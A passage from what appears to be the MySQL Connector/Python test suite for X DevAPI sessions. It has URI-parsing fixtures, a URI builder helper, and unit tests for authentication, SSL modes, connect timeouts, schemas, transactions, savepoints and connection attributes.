"port": 33060, "user": "root", "password": ""}),
("root:@localhost", {"user": "root", "password": "",
"host": "localhost", "port": 33060, "schema": ""}),
("root:@[a1:b1::]", {"user": "root", "password": "",
"host": "a1:b1::", "port": 33060, "schema": ""}),
("root:@[a1:b1::]:88", {"user": "root", "password": "",
"host": "a1:b1::", "port": 88, "schema": ""}),
("root:@[[a1:b1::]:88]", {"user": "root", "password": "",
"routers": [{"host": "a1:b1::", "port":88}], "schema": ""}),
("root:@[(address=localhost:99, priority=99)]",
{"user": "root", "password": "", "schema": "",
"routers": [{"host": "localhost", "port": 99, "priority": 99}]})
)
_ROUTER_LIST_RESULTS = ( # (uri, result)
("áé'í'óú:unicode@127.0.0.1", {"schema": "", "host": "127.0.0.1",
"port": 33060, "password": "unicode", "user": "áé'í'óú"}),
("unicode:áé'í'óú@127.0.0.1", {"schema": "", "host": "127.0.0.1",
"port": 33060, "password": "áé'í'óú", "user": "unicode"}),
("user:password@[127.0.0.1, localhost]", {"schema": "", "routers":
[{"host": "127.0.0.1", "port": 33060}, {"host": "localhost", "port":
33060}], "password": "password", "user": "user"}),
("user:password@[(address=127.0.0.1, priority=99), (address=localhost,"
"priority=98)]", {"schema": "", "routers": [{"host": "127.0.0.1",
"port": 33060, "priority": 99}, {"host": "localhost", "port": 33060,
"priority": 98}], "password": "password", "user": "user"}),
)
_PREP_STMT_QUERY = (
"SELECT p.sql_text, p.count_execute "
"FROM performance_schema.prepared_statements_instances AS p "
"JOIN performance_schema.threads AS t ON p.owner_thread_id = t.thread_id "
"AND t.processlist_id = @@pseudo_thread_id")
def file_uri(path, brackets=True):
if brackets:
return "{0}{1}".format(path[0], quote_plus(path[1:]))
return "({0})".format(path)
def build_uri(**kwargs):
uri = "mysqlx://{0}:{1}".format(kwargs["user"], kwargs["password"])
if "host" in kwargs:
host = "[{0}]".format(kwargs["host"]) \
if ":" in kwargs["host"] else kwargs["host"]
uri = "{0}@{1}".format(uri, host)
elif "routers" in kwargs:
routers = []
for router in kwargs["routers"]:
fmt = "(address={host}{port}, priority={priority})" \
if "priority" in router else "{host}{port}"
host = "[{0}]".format(router["host"]) if ":" in router["host"] \
else router["host"]
port = ":{0}".format(router["port"]) if "port" in router else ""
routers.append(fmt.format(host=host, port=port,
priority=router.get("priority", None)))
uri = "{0}@[{1}]".format(uri, ",".join(routers))
else:
raise ProgrammingError("host or routers required.")
if "port" in kwargs:
uri = "{0}:{1}".format(uri, kwargs["port"])
if "schema" in kwargs:
uri = "{0}/{1}".format(uri, kwargs["schema"])
query = []
if "ssl_mode" in kwargs:
query.append("ssl-mode={0}".format(kwargs["ssl_mode"]))
if "ssl_ca" in kwargs:
query.append("ssl-ca={0}".format(kwargs["ssl_ca"]))
if "ssl_cert" in kwargs:
query.append("ssl-cert={0}".format(kwargs["ssl_cert"]))
if "ssl_key" in kwargs:
query.append("ssl-key={0}".format(kwargs["ssl_key"]))
if "use_pure" in kwargs:
query.append("use-pure={0}".format(kwargs["use_pure"]))
if "connect_timeout" in kwargs:
query.append("connect-timeout={0}".format(kwargs["connect_timeout"]))
if "connection_attributes" in kwargs:
conn_attrs = kwargs["connection_attributes"]
if isinstance(conn_attrs, STRING_TYPES) and \
not (conn_attrs.startswith("[") and conn_attrs.endswith("[")):
query.append("connection-attributes={}"
"".format(kwargs["connection_attributes"]))
else:
attr_list = []
for key in conn_attrs:
attr_list.append("{}={}".format(key, conn_attrs[key]))
query.append("connection-attributes={0}"
"".format("[{}]".format(",".join(attr_list))))
if len(query) > 0:
uri = "{0}?{1}".format(uri, "&".join(query))
return uri
class ServerSocketStream(SocketStream):
def __init__(self):
self._socket = None
def start_receive(self, host, port):
"""Opens a sokect to comunicate to the given host, port
Args:
host (str): host name.
port (int): host port.
Returns:
address of the communication channel
"""
my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.bind((host, port))
# Starting receiving...
if sys.version_info > (3, 5):
my_sock.listen()
else:
my_sock.listen(1)
self._socket, addr = my_sock.accept()
return addr
class ServerProtocol(Protocol):
def __init__(self, reader_writer):
super(ServerProtocol, self).__init__(reader_writer)
def send_auth_continue_server(self, auth_data):
"""Send Server authenticate continue.
Args:
auth_data (str): Authentication data.
"""
msg = Message("Mysqlx.Session.AuthenticateContinue",
auth_data=auth_data)
self._writer.write_message(mysqlxpb_enum(
"Mysqlx.ServerMessages.Type.SESS_AUTHENTICATE_CONTINUE"), msg)
def send_auth_ok(self):
"""Send authenticate OK.
"""
msg = Message("Mysqlx.Session.AuthenticateOk")
self._writer.write_message(mysqlxpb_enum(
"Mysqlx.ServerMessages.Type.SESS_AUTHENTICATE_OK"), msg)
@unittest.skipIf(tests.MYSQL_VERSION < (5, 7, 12), "XPlugin not compatible")
class MySQLxSessionTests(tests.MySQLxTests):
def setUp(self):
self.connect_kwargs = tests.get_mysqlx_config()
self.schema_name = self.connect_kwargs["schema"]
try:
self.session = mysqlx.get_session(self.connect_kwargs)
except mysqlx.Error as err:
self.fail("{0}".format(err))
if os.name == "nt":
if "64" in platform.architecture()[0]:
self.platform_arch = "x86_64"
elif "32" in platform.architecture()[0]:
self.platform_arch = "i386"
else:
self.platform_arch = platform.architecture()
self.os_ver = "Windows-{}".format(platform.win32_ver()[1])
else:
self.platform_arch = platform.machine()
if platform.system() == "Darwin":
self.os_ver = "{}-{}".format("macOS", platform.mac_ver()[0])
else:
self.os_ver = "-".join(platform.linux_distribution()[0:2])
license_chunks = LICENSE.split(" ")
if license_chunks[0] == "GPLv2":
self.client_license = "GPL-2.0"
else:
self.client_license = "Commercial"
def test___init__(self):
bad_config = {
"host": "bad_host",
"port": "",
"username": "root",
"password": ""
}
self.assertRaises(InterfaceError, mysqlx.Session, bad_config)
host = self.connect_kwargs["host"]
port = self.connect_kwargs["port"]
user = self.connect_kwargs["user"]
password = self.connect_kwargs["password"]
# Session to a farm using one of many routers (prios)
# Loop during connect because of network error (succeed)
routers = [{"host": "bad_host","priority": 100},
{"host": host, "port": port, "priority": 98}]
uri = build_uri(user=user, password=password, routers=routers)
session = mysqlx.get_session(uri)
session.close()
# Session to a farm using one of many routers (incomplete prios)
routers = [{"host": "bad_host", "priority": 100},
{"host": host, "port": port}]
uri = build_uri(user=user, password=password, routers=routers)
self.assertRaises(ProgrammingError, mysqlx.get_session, uri)
try:
session = mysqlx.get_session(uri)
except ProgrammingError as err:
self.assertEqual(4000, err.errno)
# Session to a farm using invalid priorities (out of range)
routers = [{"host": "bad_host", "priority": 100},
{"host": host, "port": port, "priority": 101}]
uri = build_uri(user=user, password=password, routers=routers)
self.assertRaises(ProgrammingError, mysqlx.get_session, uri)
try:
session = mysqlx.get_session(uri)
except ProgrammingError as err:
self.assertEqual(4007, err.errno)
# Establish an Session to a farm using one of many routers (no prios)
routers = [{"host": "bad_host"}, {"host": host, "port": port}]
uri = build_uri(user=user, password=password, routers=routers)
session = mysqlx.get_session(uri)
session.close()
# Break loop during connect (non-network error)
uri = build_uri(user=user, password="bad_pass", routers=routers)
self.assertRaises(InterfaceError, mysqlx.get_session, uri)
# Break loop during connect (none left)
uri = "mysqlx://{0}:{1}@[bad_host, another_bad_host]".format(user, password)
self.assertRaises(InterfaceError, mysqlx.get_session, uri)
try:
session = mysqlx.get_session(uri)
except InterfaceError as err:
self.assertEqual(4001, err.errno)
# Invalid option with URI
uri = "mysqlx://{0}:{1}@{2}:{3}?invalid=option" \
"".format(user, password, host, port)
self.assertRaises(ProgrammingError, mysqlx.get_session, uri)
# Invalid option with dict
config = {
"user": user,
"password": password,
"host": host,
"port": port,
"invalid": "option"
}
self.assertRaises(ProgrammingError, mysqlx.get_session, config)
# Invalid option with kwargs
self.assertRaises(ProgrammingError, mysqlx.get_session, **config)
# SocketSteam.is_socket()
session = mysqlx.get_session(user=user, password=password,
host=host, port=port)
self.assertFalse(session._connection.stream.is_socket())
def test_auth(self):
sess = mysqlx.get_session(self.connect_kwargs)
sess.sql("CREATE USER 'native'@'%' IDENTIFIED WITH "
"mysql_native_password BY 'test'").execute()
sess.sql("CREATE USER 'sha256'@'%' IDENTIFIED WITH "
"sha256_password BY 'sha256'").execute()
config = {'host': self.connect_kwargs['host'],
'port': self.connect_kwargs['port']}
config['user'] = 'native'
config['password'] = 'test'
config['auth'] = 'plain'
mysqlx.get_session(config)
config['auth'] = 'mysql41'
mysqlx.get_session(config)
config['user'] = 'sha256'
config['password'] = 'sha256'
if tests.MYSQL_VERSION >= (8, 0, 1):
config['auth'] = 'plain'
mysqlx.get_session(config)
config['auth'] = 'mysql41'
self.assertRaises(InterfaceError, mysqlx.get_session, config)
sess.sql("DROP USER 'native'@'%'").execute()
sess.sql("DROP USER 'sha256'@'%'").execute()
sess.close()
@unittest.skipIf(tests.MYSQL_VERSION < (8, 0, 5),
"SHA256_MEMORY authentation mechanism not available")
def test_auth_sha265_memory(self):
sess = mysqlx.get_session(self.connect_kwargs)
sess.sql("CREATE USER 'caching'@'%' IDENTIFIED WITH "
"caching_sha2_password BY 'caching'").execute()
config = {
"user": "caching",
"password": "caching",
"host": self.connect_kwargs["host"],
"port": self.connect_kwargs["port"]
}
# Session creation is not possible with SSL disabled
config["ssl-mode"] = mysqlx.SSLMode.DISABLED
self.assertRaises(InterfaceError, mysqlx.get_session, config)
config["auth"] = mysqlx.Auth.SHA256_MEMORY
self.assertRaises(InterfaceError, mysqlx.get_session, config)
# Session creation is possible with SSL enabled
config["ssl-mode"] = mysqlx.SSLMode.REQUIRED
config["auth"] = mysqlx.Auth.PLAIN
mysqlx.get_session(config)
# Disable SSL
config["ssl-mode"] = mysqlx.SSLMode.DISABLED
# Password is in cache will, session creation is possible
config["auth"] = mysqlx.Auth.SHA256_MEMORY
mysqlx.get_session(config)
sess.sql("DROP USER 'caching'@'%'").execute()
sess.close()
@unittest.skipIf(tests.MYSQL_VERSION < (5, 7, 15), "--mysqlx-socket option"
" tests not available for this MySQL version")
@unittest.skipIf(os.name == 'nt', "sockets not available"
" on windows")
def test_mysqlx_socket(self):
# Connect with unix socket
uri = "mysqlx://{user}:{password}@({socket})".format(
user=self.connect_kwargs["user"],
password=self.connect_kwargs["password"],
socket=self.connect_kwargs["socket"])
session = mysqlx.get_session(uri)
# No SSL with Unix Sockets
res = mysqlx.statement.SqlStatement(session._connection,
"SHOW STATUS LIKE 'Mysqlx_ssl_active'").execute().fetch_all()
self.assertEqual("OFF", res[0][1])
session.close()
# Socket parsing tests
conn = mysqlx._get_connection_settings("root:@(/path/to/sock)")
self.assertEqual("/path/to/sock", conn["socket"])
self.assertEqual("", conn["schema"])
conn = mysqlx._get_connection_settings("root:@(/path/to/sock)/schema")
self.assertEqual("/path/to/sock", conn["socket"])
self.assertEqual("schema", conn["schema"])
conn = mysqlx._get_connection_settings("root:@/path%2Fto%2Fsock")
self.assertEqual("/path/to/sock", conn["socket"])
self.assertEqual("", conn["schema"])
conn = mysqlx._get_connection_settings("root:@/path%2Fto%2Fsock/schema")
self.assertEqual("/path/to/sock", conn["socket"])
self.assertEqual("schema", conn["schema"])
conn = mysqlx._get_connection_settings("root:@.%2Fpath%2Fto%2Fsock")
self.assertEqual("./path/to/sock", conn["socket"])
self.assertEqual("", conn["schema"])
conn = mysqlx._get_connection_settings("root:@.%2Fpath%2Fto%2Fsock"
"/schema")
self.assertEqual("./path/to/sock", conn["socket"])
self.assertEqual("schema", conn["schema"])
conn = mysqlx._get_connection_settings("root:@..%2Fpath%2Fto%2Fsock")
self.assertEqual("../path/to/sock", conn["socket"])
self.assertEqual("", conn["schema"])
conn = mysqlx._get_connection_settings("root:@..%2Fpath%2Fto%2Fsock"
"/schema")
self.assertEqual("../path/to/sock", conn["socket"])
self.assertEqual("schema", conn["schema"])
@unittest.skipIf(HAVE_MYSQLXPB_CEXT == False, "C Extension not available")
def test_connection_uri(self):
uri = build_uri(user=self.connect_kwargs["user"],
password=self.connect_kwargs["password"],
host=self.connect_kwargs["host"],
port=self.connect_kwargs["port"],
schema=self.connect_kwargs["schema"],
use_pure=False)
session = mysqlx.get_session(uri)
self.assertIsInstance(session, mysqlx.Session)
# Test URI parser function
for uri, res in _URI_TEST_RESULTS:
try:
settings = mysqlx._get_connection_settings(uri)
self.assertEqual(res, settings)
except mysqlx.Error:
self.assertEqual(res, None)
# Test URI parser function
for uri, res in _ROUTER_LIST_RESULTS:
try:
settings = mysqlx._get_connection_settings(uri)
self.assertEqual(res, settings)
except mysqlx.Error:
self.assertEqual(res, None)
@unittest.skipIf(tests.MYSQL_VERSION < (8, 0, 13),
"MySQL 8.0.13+ is required for connect timeout")
def test_connect_timeout(self):
config = self.connect_kwargs.copy()
# 0 ms disables timouts on socket connections
config["connect-timeout"] = 0
session = mysqlx.get_session(config)
session.close()
# 10000 ms should be time enough to connect
config["connect-timeout"] = 10000
session = mysqlx.get_session(config)
session.close()
# Use connect timeout in URI
session = mysqlx.get_session(build_uri(**config))
session.close()
# Timeout for an unreachable host
# https://en.wikipedia.org/wiki/IPv4#Special-use_addresses
hosts = [
"198.51.100.255",
"192.0.2.255",
"10.255.255.1",
"192.0.2.0",
"203.0.113.255",
"10.255.255.255",
"192.168.255.255",
"203.0.113.4",
"192.168.0.0",
"172.16.0.0",
"10.255.255.251",
"172.31.255.255",
"198.51.100.23",
"172.16.255.255",
"198.51.100.8",
"192.0.2.254",
]
unreach_hosts = []
config["connect-timeout"] = 2000
# Find two unreachable hosts for testing
for host in hosts:
try:
config["host"] = host
mysqlx.get_session(config)
except mysqlx.TimeoutError:
unreach_hosts.append(host)
if len(unreach_hosts) == 2:
break # We just need 2 unreachable hosts
except:
pass
total_unreach_hosts = len(unreach_hosts)
self.assertEqual(total_unreach_hosts, 2,
"Two unreachable hosts are needed, {0} found"
"".format(total_unreach_hosts))
# Multi-host scenarios
# Connect to a secondary host if the primary fails
routers = [
{"host": unreach_hosts[0], "port": config["port"], "priority": 100},
{"host": "127.0.0.1", "port": config["port"], "priority": 90}
]
uri = build_uri(user=config["user"], password=config["password"],
connect_timeout=2000, routers=routers)
session = mysqlx.get_session(uri)
session.close()
# Fail to connect to all hosts
routers = [
{"host": unreach_hosts[0], "port": config["port"], "priority": 100},
{"host": unreach_hosts[1], "port": config["port"], "priority": 90}
]
uri = build_uri(user=config["user"], password=config["password"],
connect_timeout=2000, routers=routers)
try:
mysqlx.get_session(uri)
self.fail("It should not connect to any unreachable host")
except mysqlx.TimeoutError as err:
self.assertEqual(err.msg,
"All server connection attempts were aborted. "
"Timeout of 2000 ms was exceeded for each "
"selected server")
except mysqlx.InterfaceError as err:
self.assertEqual(err.msg, "Failed to connect to any of the routers")
# Trying to establish a connection with a wrong password should not
# wait for timeout
config["host"] = "127.0.0.1"
config["password"] = "invalid_password"
config["connect-timeout"] = 2000
time_start = time.time()
self.assertRaises(InterfaceError, mysqlx.get_session, config)
time_elapsed = time.time() - time_start
session.close()
if time_elapsed >= config["connect-timeout"]:
self.fail("Trying to establish a connection with a wrong password "
"should not wait for timeout")
# The connection timeout value must be a positive integer
config["connect-timeout"] = -1
self.assertRaises(TypeError, mysqlx.get_session, config)
config["connect-timeout"] = 10.0983
self.assertRaises(TypeError, mysqlx.get_session, config)
config["connect-timeout"] = "abc"
self.assertRaises(TypeError, mysqlx.get_session, config)
def test_get_schemas(self):
schema_name = "test_get_schemas"
self.session.create_schema(schema_name)
schemas = self.session.get_schemas()
self.assertIsInstance(schemas, list)
self.assertTrue(schema_name in schemas)
self.session.drop_schema(schema_name)
def test_get_schema(self):
schema = self.session.get_schema(self.schema_name)
self.assertTrue(schema, mysqlx.Schema)
self.assertEqual(schema.get_name(), self.schema_name)
def test_get_default_schema(self):
schema = self.session.get_default_schema()
self.assertTrue(schema, mysqlx.Schema)
self.assertEqual(schema.get_name(), self.connect_kwargs["schema"])
self.assertTrue(schema.exists_in_database())
# Test None value is returned if no schema name is specified
settings = self.connect_kwargs.copy()
settings.pop("schema")
session = mysqlx.get_session(settings)
schema = session.get_default_schema()
self.assertIsNone(schema,
"None value was expected but got '{}'".format(schema))
session.close()
# Test SQL statements not fully qualified, which must not raise error:
# mysqlx.errors.OperationalError: No database selected
self.session.sql('CREATE DATABASE my_test_schema').execute()
self.session.sql('CREATE TABLE my_test_schema.pets(name VARCHAR(20))'
).execute()
settings = self.connect_kwargs.copy()
settings["schema"] = "my_test_schema"
session = mysqlx.get_session(settings)
schema = session.get_default_schema()
self.assertTrue(schema, mysqlx.Schema)
self.assertEqual(schema.get_name(),
"my_test_schema")
result = session.sql('SHOW TABLES').execute().fetch_all()
self.assertEqual("pets", result[0][0])
self.session.sql('DROP DATABASE my_test_schema').execute()
self.assertFalse(schema.exists_in_database())
self.assertRaises(mysqlx.ProgrammingError, session.get_default_schema)
session.close()
# Test without default schema configured at connect time (passing None)
settings = self.connect_kwargs.copy()
settings["schema"] = None
build_uri(**settings)
session = mysqlx.get_session(settings)
schema = session.get_default_schema()
self.assertIsNone(schema,
"None value was expected but got '{}'".format(schema))
session.close()
# Test not existing default schema at get_session raise error
settings = self.connect_kwargs.copy()
settings["schema"] = "nonexistent"
self.assertRaises(InterfaceError, mysqlx.get_session, settings)
# Test BUG#28942938: 'ACCESS DENIED' error for unauthorized user tries
# to use the default schema if not exists at get_session
self.session.sql("DROP USER IF EXISTS 'def_schema'@'%'").execute()
self.session.sql("CREATE USER 'def_schema'@'%' IDENTIFIED WITH "
"mysql_native_password BY 'test'").execute()
settings = self.connect_kwargs.copy()
settings['user'] = 'def_schema'
settings['password'] = 'test'
settings["schema"] = "nonexistent"
# a) Test with no Granted privileges
with self.assertRaises(InterfaceError) as context:
_ = mysqlx.get_session(settings)
# Access denied for this user
self.assertEqual(1044, context.exception.errno)
# Grant privilege to one unrelated schema
self.session.sql("GRANT ALL PRIVILEGES ON nonexistent.* TO "
"'def_schema'@'%'").execute()
with self.assertRaises(InterfaceError) as context:
_ = mysqlx.get_session(settings)
# Schema does not exist
self.assertNotEqual(1044, context.exception.errno)
def test_drop_schema(self):
test_schema = 'mysql_session_test_drop_schema'
schema = self.session.create_schema(test_schema)
self.session.drop_schema(test_schema)
self.assertFalse(schema.exists_in_database())
def test_create_schema(self):
schema = self.session.create_schema(self.schema_name)
self.assertTrue(schema.exists_in_database())
def test_sql(self):
statement = self.session.sql("SELECT VERSION()")
self.assertTrue(isinstance(statement, mysqlx.Statement))
# SQL statements should be strings
statement = self.session.sql(123)
self.assertRaises(mysqlx.ProgrammingError, statement.execute)
# Test unicode statements
statement = self.session.sql(u"SELECT VERSION()").execute()
self.assertTrue(isinstance(statement, mysqlx.SqlResult))
def test_rollback(self):
table_name = "t2"
schema = self.session.get_schema(self.schema_name)
if not schema.exists_in_database():
self.session.create_schema(self.schema_name)
stmt = "CREATE TABLE {0}.{1}(_id INT)"
self.session.sql(stmt.format(self.schema_name, table_name)).execute()
table = schema.get_table(table_name)
self.session.start_transaction()
table.insert("_id").values(1).execute()
self.assertEqual(table.count(), 1)
self.session.rollback()
self.assertEqual(table.count(), 0)
drop_table(schema, table_name)
def test_commit(self):
table_name = "t2"
schema = self.session.get_schema(self.schema_name)
if not schema.exists_in_database():
self.session.create_schema(self.schema_name)
stmt = "CREATE TABLE {0}.{1}(_id INT)"
self.session.sql(stmt.format(self.schema_name, table_name)).execute()
table = schema.get_table(table_name)
self.session.start_transaction()
table.insert("_id").values(1).execute()
self.assertEqual(table.count(), 1)
self.session.commit()
self.assertEqual(table.count(), 1)
drop_table(schema, table_name)
def test_savepoint(self):
collection_name = "collection_test"
schema = self.session.get_schema(self.schema_name)
# The savepoint name should be a valid string
self.assertRaises(mysqlx.errors.ProgrammingError,
self.session.set_savepoint, 123)
# The savepoint name should not be an empty string
self.assertRaises(mysqlx.errors.ProgrammingError,
self.session.set_savepoint, "")
# The savepoint name should not be a white space
self.assertRaises(mysqlx.errors.ProgrammingError,
self.session.set_savepoint, " ")
# Invalid rollback savepoint without a started transaction
sp1 = self.session.set_savepoint("sp1")
self.assertRaises(mysqlx.errors.OperationalError,
self.session.rollback_to, sp1)
collection = schema.create_collection(collection_name)
self.session.start_transaction()
collection.add({"_id": "1", "name": "Fred", "age": 21}).execute()
self.assertEqual(1, collection.count())
# Create a savepoint named 'sp2'
sp2 = self.session.set_savepoint("sp2")
self.assertEqual(sp2, "sp2")
collection.add({"_id": "2", "name": "Wilma", "age": 33}).execute()
self.assertEqual(2, collection.count())
# Create a savepoint named 'sp3'
sp3 = self.session.set_savepoint("sp3")
collection.add({"_id": "3", "name": "Betty", "age": 67}).execute()
self.assertEqual(3, collection.count())
# Rollback to 'sp3' savepoint
self.session.rollback_to(sp3)
self.assertEqual(2, collection.count())
# Rollback to 'sp2' savepoint
self.session.rollback_to(sp2)
self.assertEqual(1, collection.count())
# The 'sp3' savepoint should not exist at this point
self.assertRaises(mysqlx.errors.OperationalError,
self.session.rollback_to, sp3)
collection.add({"_id": "4", "name": "Barney", "age": 42}).execute()
self.assertEqual(2, collection.count())
# Create an unnamed savepoint
sp4 = self.session.set_savepoint()
collection.add({"_id": "3", "name": "Wilma", "age": 33}).execute()
self.assertEqual(3, collection.count())
# Release unnamed savepoint
self.session.release_savepoint(sp4)
self.assertEqual(3, collection.count())
# The 'sp4' savepoint should not exist at this point
self.assertRaises(mysqlx.errors.OperationalError,
self.session.rollback_to, sp4)
self.session.commit()
schema.drop_collection(collection_name)
def test_close(self):
session = mysqlx.get_session(self.connect_kwargs)
schema = session.get_schema(self.schema_name)
session.close()
self.assertRaises(mysqlx.OperationalError, schema.exists_in_database)
@unittest.skipIf(sys.version_info < (2, 7, 9), "The support for SSL is "
"not available for Python versions < 2.7.9.")
def test_ssl_connection(self):
config = {}
config.update(self.connect_kwargs)
socket = config.pop("socket")
# Secure by default
session = mysqlx.get_session(config)
res = mysqlx.statement.SqlStatement(session._connection,
"SHOW STATUS LIKE 'Mysqlx_ssl_active'").execute().fetch_all()
self.assertEqual("ON", res[0][1])
res = mysqlx.statement.SqlStatement(session._connection,
"SHOW STATUS LIKE 'Mysqlx_ssl_version'").execute().fetch_all()
self.assertTrue("TLS" in res[0][1])
session.close()
# Error on setting Client key without Client Certificate
config["ssl-key"] = tests.SSL_KEY
self.assertRaises(InterfaceError, mysqlx.get_session, config)
# Error on settings CRL without setting CA Certificate
config["ssl-crl"] = "/dummy/path"
self.assertRaises(InterfaceError, mysqlx.get_session, config)
config.pop("ssl-crl")
# Error on setting SSL Mode to disabled with any SSL option
config["ssl-mode"] = "disabled"
self.assertRaises(InterfaceError, mysqlx.get_session, config)
# Error on setting SSL Mode to verify_* without ssl_ca
config["ssl-mode"] = "verify_ca"
self.assertRaises(InterfaceError, mysqlx.get_session, config)
config["ssl-mode"] = "verify_identity"
self.assertRaises(InterfaceError, mysqlx.get_session, config)
# Error on SSL Mode set to required with CA set
config["ssl-ca"] = tests.SSL_CA
config["ssl-cert"] = tests.SSL_CERT
config["ssl-mode"] = "required"
self.assertRaises(InterfaceError, mysqlx.get_session, config)
# Connection with ssl parameters
config["ssl-mode"] = "verify_identity"
session = mysqlx.get_session(config)
res = mysqlx.statement.SqlStatement(session._connection,
"SHOW STATUS LIKE 'Mysqlx_ssl_active'").execute().fetch_all()
self.assertEqual("ON", res[0][1])
res = mysqlx.statement.SqlStatement(session._connection,
"SHOW STATUS LIKE 'Mysqlx_ssl_version'").execute().fetch_all()
self.assertTrue("TLS" in res[0][1])
session.close()
# Error if ssl-mode=disabled and ssl_* set
extra = [("ssl_mode", "disabled"),
("ssl_ca", "({0})".format(tests.SSL_CA))]
uri = build_uri(**dict(list(self.connect_kwargs.items()) + extra))
self.assertRaises(InterfaceError, mysqlx.get_session, uri)
# Error if invalid ssl-mode
extra = [("ssl_mode", "invalid")]
uri = build_uri(**dict(list(self.connect_kwargs.items()) + extra))
self.assertRaises(InterfaceError, mysqlx.get_session, uri)
# Parsing SSL Certificates
extra = [("ssl_mode", "verify_ca"),
("ssl_ca", file_uri(tests.SSL_CA, False)),
("ssl_key", file_uri(tests.SSL_KEY, False)),
("ssl_cert", file_uri(tests.SSL_CERT, False))]
uri = build_uri(**dict(list(self.connect_kwargs.items()) + extra))
session = mysqlx.get_session(uri)
extra = [("ssl_mode", "verify_ca"),
("ssl_ca", file_uri(tests.SSL_CA)),
("ssl_key", file_uri(tests.SSL_KEY)),
("ssl_cert", file_uri(tests.SSL_CERT))]
uri = build_uri(**dict(list(self.connect_kwargs.items()) + extra))
session = mysqlx.get_session(uri)
def test_disabled_x_protocol(self):
session = mysqlx.get_session(self.connect_kwargs)
res = session.sql("SHOW VARIABLES WHERE Variable_name = 'port'") \
.execute().fetch_all()
settings = self.connect_kwargs.copy()
settings["port"] = res[0][1] # Lets use the MySQL classic port
session.close()
self.assertRaises(ProgrammingError, mysqlx.get_session, settings)
@unittest.skipIf(HAVE_MYSQLXPB_CEXT == False, "C Extension not available")
def test_use_pure(self):
settings = self.connect_kwargs.copy()
settings["use-pure"] = False
session = mysqlx.get_session(settings)
self.assertFalse(session.use_pure)
self.assertEqual(Protobuf.mysqlxpb.__name__, "_mysqlxpb")
session.use_pure = True
self.assertTrue(session.use_pure)
self.assertEqual(Protobuf.mysqlxpb.__name__, "_mysqlxpb_pure")
# 'use_pure' should be a bool type
self.assertRaises(ProgrammingError, setattr, session, "use_pure", -1)
session.close()
@unittest.skipIf(tests.MYSQL_VERSION < (8, 0, 16), "XPlugin not compatible")
def test_connection_attributes(self):
# Validate an error is raised if URL user defined connection attributes
# given in a list are invalid
invalid_conn_attrs = [2, 1.2, "[_='13']", '[_="1"]', '[_=23]', "[_2.3]",
"[_invalid]", "[valid=0,_]", "[valid=0,_nvalid]",
"[_invalid,valid=0]"]
uri = build_uri(user=self.connect_kwargs["user"],
password=self.connect_kwargs["password"],
host=self.connect_kwargs["host"],
port=self.connect_kwargs["port"],
schema=self.connect_kwargs["schema"])
for invalid_attr in invalid_conn_attrs:
uri_test = "{}?connection_attributes={}".format(uri, invalid_attr)
with self.assertRaises(InterfaceError) as _:
mysqlx.get_session(uri_test)
LOGGER.error("InterfaceError not raised while testing "
"invalid attribute: {}".format(invalid_attr))
# Validate an error is raised if URL user defined connection attributes
# are not a list or a bool type
invalid_conn_attrs = ["[incompleteL", "incompleteL]", "A", "invalid",
"_invalid", "2", "2.3", "{}", "{invalid=0}",
"{[invalid=0]}", "_", 2, 0.2]
for invalid_attr in invalid_conn_attrs:
uri_test = "{}?connection_attributes={}".format(uri, invalid_attr)
with self.assertRaises(InterfaceError) as _:
mysqlx.get_session(uri_test)
LOGGER.error("InterfaceError not raised while testing "
"invalid attribute: {}".format(invalid_attr))
# Validate an error is raised if URL user defined connection attributes
# through a connection URL when a name is duplicated
connection_attributes = {
"foo": "bar",
"repeated": "attribute",
"baz": "zoom",
}
uri = build_uri(user=self.connect_kwargs["user"],
password=self.connect_kwargs["password"],
host=self.connect_kwargs["host"],
port=self.connect_kwargs["port"],
schema=self.connect_kwargs["schema"],
connection_attributes=connection_attributes)
uri = "{},repeated=duplicate_attribute]".format(uri[0:-1])
with self.assertRaises(InterfaceError) as context:
mysqlx.get_session(uri)
LOGGER.error("InterfaceError not raised while testing "
"uri: {}".format(uri))
self.assertTrue("Duplicate key 'repeated' used in "
"connection-attributes" in context.exception.msg)
# Test error is raised for attribute name starting with '_'
connection_attributes = [
{"foo": "bar", "_baz": "zoom"},
{"_baz": "zoom"},
{"foo": "bar", "_baz": "zoom", "puuuuum": "kaplot"}
]
for conn_attr in connection_attributes:
connect_kwargs = self.connect_kwargs.copy()
connect_kwargs["connection_attributes"] = conn_attr
with self.assertRaises(InterfaceError) as context:
mysqlx.get_session(connect_kwargs)
LOGGER.error("InterfaceError not raised while testing "
"connect_kwargs: {}".format(connect_kwargs))
self.assertTrue("connection-attributes" in
context.exception.msg)
self.assertTrue("cannot start with '_'" in context.exception.msg)
# Test error is raised for attribute name size exceeds 32 characters
connection_attributes = [
{"foo": "bar", "p{}w".format("o"*31): "kaplot"},
{"p{}w".format("o"*31): "kaplot"},
{"baz": "zoom", "p{}w".format("o"*31): "kaplot", "a": "b"}
]
for conn_attr in connection_attributes:
connect_kwargs = self.connect_kwargs.copy()
connect_kwargs["connection_attributes"] = conn_attr
with self.assertRaises(InterfaceError) as context:
mysqlx.get_session(connect_kwargs)
LOGGER.error("InterfaceError not raised while testing "
"connection_attributes: {}".format(conn_attr))
self.assertTrue("exceeds 32 characters limit size" in
context.exception.msg)
# Test error is raised for attribute value size exceeds 1024 characters
connection_attributes = [
{"foo": "bar", "pum": "kr{}nk".format("u"*1024)},
{"pum": "kr{}nk".format("u"*1024)},
{"baz": "zoom", "pum": "kr{}nk".format("u"*1024), "a": "b"}
]
for conn_attr in connection_attributes:
connect_kwargs = self.connect_kwargs.copy()
connect_kwargs["connection-attributes"] = conn_attr
with self.assertRaises(InterfaceError) as context:
mysqlx.get_session(connect_kwargs)
LOGGER.error("InterfaceError not raised while testing "
"connection_attributes: {}".format(conn_attr))
self.assertTrue("exceeds 1024 characters limit size" in
context.exception.msg)
# Test valid generic values for the connection-attributes on URI
valid_conn_attrs = ["[]", "False", "True", "false", "true", "[valid]",
"[valid=0]", "[valid,valid2=0]", '["_valid=0]',
"[valid2='0']", "[valid=,valid2=0]", "['_valid=0]",
"[[_valid=0]]"]
uri = build_uri(user=self.connect_kwargs["user"],
password=self.connect_kwargs["password"],
host=self.connect_kwargs["host"],
port=self.connect_kwargs["port"],
schema=self.connect_kwargs["schema"])
for valid_attr in valid_conn_attrs:
uri_test = "{}?connection_attributes={}".format(uri, valid_attr)
mysqlx.get_session(uri_test)
# Test valid generic values when passing a dict with connection data
valid_conn_attrs = [{}, "False", "True", "false", "true", {"valid": ""},
{"valid": None}, {"valid1": 1}, True, False, 1, 0,
